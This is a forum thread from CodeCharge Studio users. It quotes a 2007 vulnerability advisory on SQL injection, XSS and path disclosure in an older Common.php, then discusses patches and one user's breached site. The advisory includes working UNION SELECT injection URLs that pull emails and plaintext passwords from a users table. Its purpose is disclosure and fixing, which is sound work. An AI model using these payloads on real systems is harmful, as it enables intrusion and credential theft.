CodeCharge Studio
search Register Login  

Visual PHP Web Development

Visually Create Internationalized Web Applications, Web Reports, Calendars, and more.
CodeCharge.com

YesSoftware Forums -> CodeCharge Studio -> PHP

 SQL Injection Review Site - older CCS common.php Vulnerable ?

Print topic Send  topic

Author Message
MichaelMcDonald

Posts: 601
Posted: 01/03/2017, 3:20 AM Quote message

https://www.exploit-db.com/exploits/4092/


1) Introduction
2) Bug
3) The Code
4) Proof of concept
5) Fix
6)Conclusion

===========
1) Introduction
===========

"NetClassifieds Premium Edition has been built on the premise of making every
classifieds site feel like it was custom written for the purpose for which it's being used.
Automotive Sites, Horse Sites, Reality Sites, General Classifieds Sites or any other type
of classifieds site you can think of will find a perfect match in NetClassifieds"

======
2) Bug
======

injection sql , xss , full path

===============
3) Vulnerable code:
===============
in Common.php

line 310:

function CCStrip($value)
{
if(get_magic_quotes_gpc() == 0)
return $value;
else
return stripslashes($value); // ==> wtf... 0-o
}



ligne 350:

function CCGetFromPost($parameter_name, $default_value)
{
global $HTTP_POST_VARS;

$parameter_value = "";
if(isset($HTTP_POST_VARS[$parameter_name]))
$parameter_value = CCStrip($HTTP_POST_VARS[$parameter_name]);
else
$parameter_value = $default_value;

return $parameter_value;
}


line 365:

function CCGetFromGet($parameter_name, $default_value)
{
global $HTTP_GET_VARS;

$parameter_value = "";
if(isset($HTTP_GET_VARS[$parameter_name]))
$parameter_value = CCStrip($HTTP_GET_VARS[$parameter_name]);
else
$parameter_value = $default_value;

return $parameter_value;
}

nothing is filtred ....

let's see how it goes in viewcat.php:

line 63:
include(RelativePath . "/Common.php");

line 519:
$this->ds->Parameters["urlCatID"] = CCGetFromGet("CatID", "");

line 909:
$catdb1 = new clsDBNetConnect;

$catdb1->connect();

$newSQL1 = "SELECT cat_id FROM categories WHERE sub_cat_id='" . CCGetFromGet("CatID", "") . "'";

$incat = "'" . CCGetFromGet("CatID", "") . "'";


I wont past every line of this code , because EVERY parameter is vulnerable to sql injection , XSS , full path ...

=====
4)proof of concept
=====


exemple of exploitation :
1) http://site.com/ViewCat.php?CatID=-8+union+select+1,email,3+from+users/*
==> ( Database error: Invalid SQL: SELECT name, sub_cat_id, cat_id FROM categories WHERE cat_id=username@mail.com )

2)http://site.com/ViewCat.php?s_user_id='+union+select+user_password+from+users+where%20user_id=1/*
==> The value in field urls_user_id is not valid. (passwd_PLAIN_TEXT)

// there's absolutly no encryption in this script for stored password , or sensitive data ...

every input are vulnerable to XSS attacks ( there's maybe 40 inputs ... ) via mysql errors , php error , and via
various unfiltred forms .
=====
5) Fix
=====
scriptdevelopers has been advised , i dont think they will release any patch at the moment .

here's my "quick patch" :

1) in Common.php:
line 30 :
ADD:
ini_set(display_errors,"0");
( in a production mode , no one needs to know your errors .. and this avoid xss via php error )

ligne 350:
function CCGetFromPost // for every POST request
avant : return $parameter_value;
apres : return preg_replace('/[^a-z0-9]/i', '', $parameter_value); //only 0 to 9 and a to z caracters allowed


line 365:
function CCGetFromGet // for every GET request
replace :
return $parameter_value;
BY
return preg_replace('/[^a-z0-9]/i', '', $parameter_value);

2) in Mysql_db.php
line 52 :
var $Halt_On_Error = "yes"; ## "yes" (halt with message), "no" (ignore errors quietly), "report" (ignore errror, but spit a warning)

set the value at "no" ( by default it's yes )
this will avoid juicy errors , such as table name and the complete query

3) imageresizer.php

line 2:
ADD :
ini_set(display_errors,"0");
( same reason as Common.php )

line 100 :
replace : echo("<hr color='red'><font color='red'><b>$msg</b></font><br> file=<b>".__FILE__."</b><hr color='red'>")
BY
echo("<hr color='red'><font color='red'><b>error while processing your request</b></font><br> <b></b><hr color='red'>");

".__FILE__." show the full path, no one need to know where is located your script on the server .
and usually a full path give the username for the ftp , or cpanel .
( /directory/your_user/www/file.php )


=====
5) Conclusion
=====

This script has not been develloped in a secure way, and it's dangerous
to use it UNPATCHED





regards laurent gaffie
contact :laurent.gaffie@gmail.com

# milw0rm.com [2007-06-22]
_________________
Central Coast, NSW, Australia.

Use the EXETA Online Business Valuation Tool to
value your business.

www.exeta.com.au
View profile  Send private message
MichaelMcDonald

Posts: 601
Posted: 01/03/2017, 3:29 AM Quote message

looks like a common.php from early version ccs with global vulnerabilities and no stripping of slashes from login leaving open to cross site scripting
_________________
Central Coast, NSW, Australia.

Use the EXETA Online Business Valuation Tool to
value your business.

www.exeta.com.au
View profile  Send private message
DataDoIT
Posted: 01/03/2017, 12:55 PM Quote message

You must first understand that Common.php will be created and adjusted
according to the publish location. Properties will be set based on
values given. That will explain much of your "error_reporting" issues.

Start there and then report back. Properly configured (server side
too!), CCS will by default will prevent XSS and SQL injections.
MichaelMcDonald

Posts: 601
Posted: 01/03/2017, 4:00 PM Quote message

That post was written in 2007, I came across it by accident.

common.php in more recent versions of CCS now handles CCStrip, CCGetFromGet and from CCGetFromPost functions differently.

The point of this is to get folks with older projects to have a look see if there are vulnerabilities.
_________________
Central Coast, NSW, Australia.

Use the EXETA Online Business Valuation Tool to
value your business.

www.exeta.com.au
View profile  Send private message
DataDoIT
Posted: 01/03/2017, 5:42 PM Quote message

CCToSQL() also when doing custom programming.
eratech


Posts: 513
Posted: 02/11/2017, 10:24 PM Quote message

Quote DataDoIT:
CCToSQL() also when doing custom programming.


Yep - got bitten in the ASP.NET last week with a validation DB lookup which didn't have SQL fixes on it: the good old surname of "O'Lachlan" broke it.

E

_________________
CCS 3/4/5 ASP Classic, VB.NET, PHP
Melbourne, Victoria, Australia
View profile  Send private message
JoeTone

Posts: 1
Posted: 03/16/2017, 5:27 PM Quote message

I have an old project built with CCS 4.3 php 5.3 - which suffered an SQl injection attack two days ago.
The hacker emailed me a new user name and password as proof , he pointed out the vulnerability which he exploited and offered to fix the code for a fee, really nice guy .
I have taken the site down for a few days but its only a matter of time until a more malicious attacker finds it .
My Question now, is the current version of CCS capable of fighting off sql injection ? .
View profile  Send private message
MichaelMcDonald

Posts: 601
Posted: 03/21/2017, 8:49 PM Quote message

Probably but it's worth looking at how other platforms are coding their functions and proper security containment and integrating bits and pieces, and re_ earlier about xss - use .htaccess to resolve only local filenames where possible ... keep in mind google chrome doesn't always want to play ..
_________________
Central Coast, NSW, Australia.

Use the EXETA Online Business Valuation Tool to
value your business.

www.exeta.com.au
View profile  Send private message

Add new topic Reply to topic Subscribe to topic   


These are Community Forums for users to exchange information.
If you would like to obtain technical product help please visit http://support.yessoftware.com.

PHP Reports

Visually create Web Reports in PHP, ASP, .NET, Java, Perl and ColdFusion.
CodeCharge.com

Home   |    Search   |    Members   |    Register   |    Login


Powered by UltraApps Forum created with CodeCharge Studio
Copyright 2003-2004 by UltraApps.com  and YesSoftware, Inc.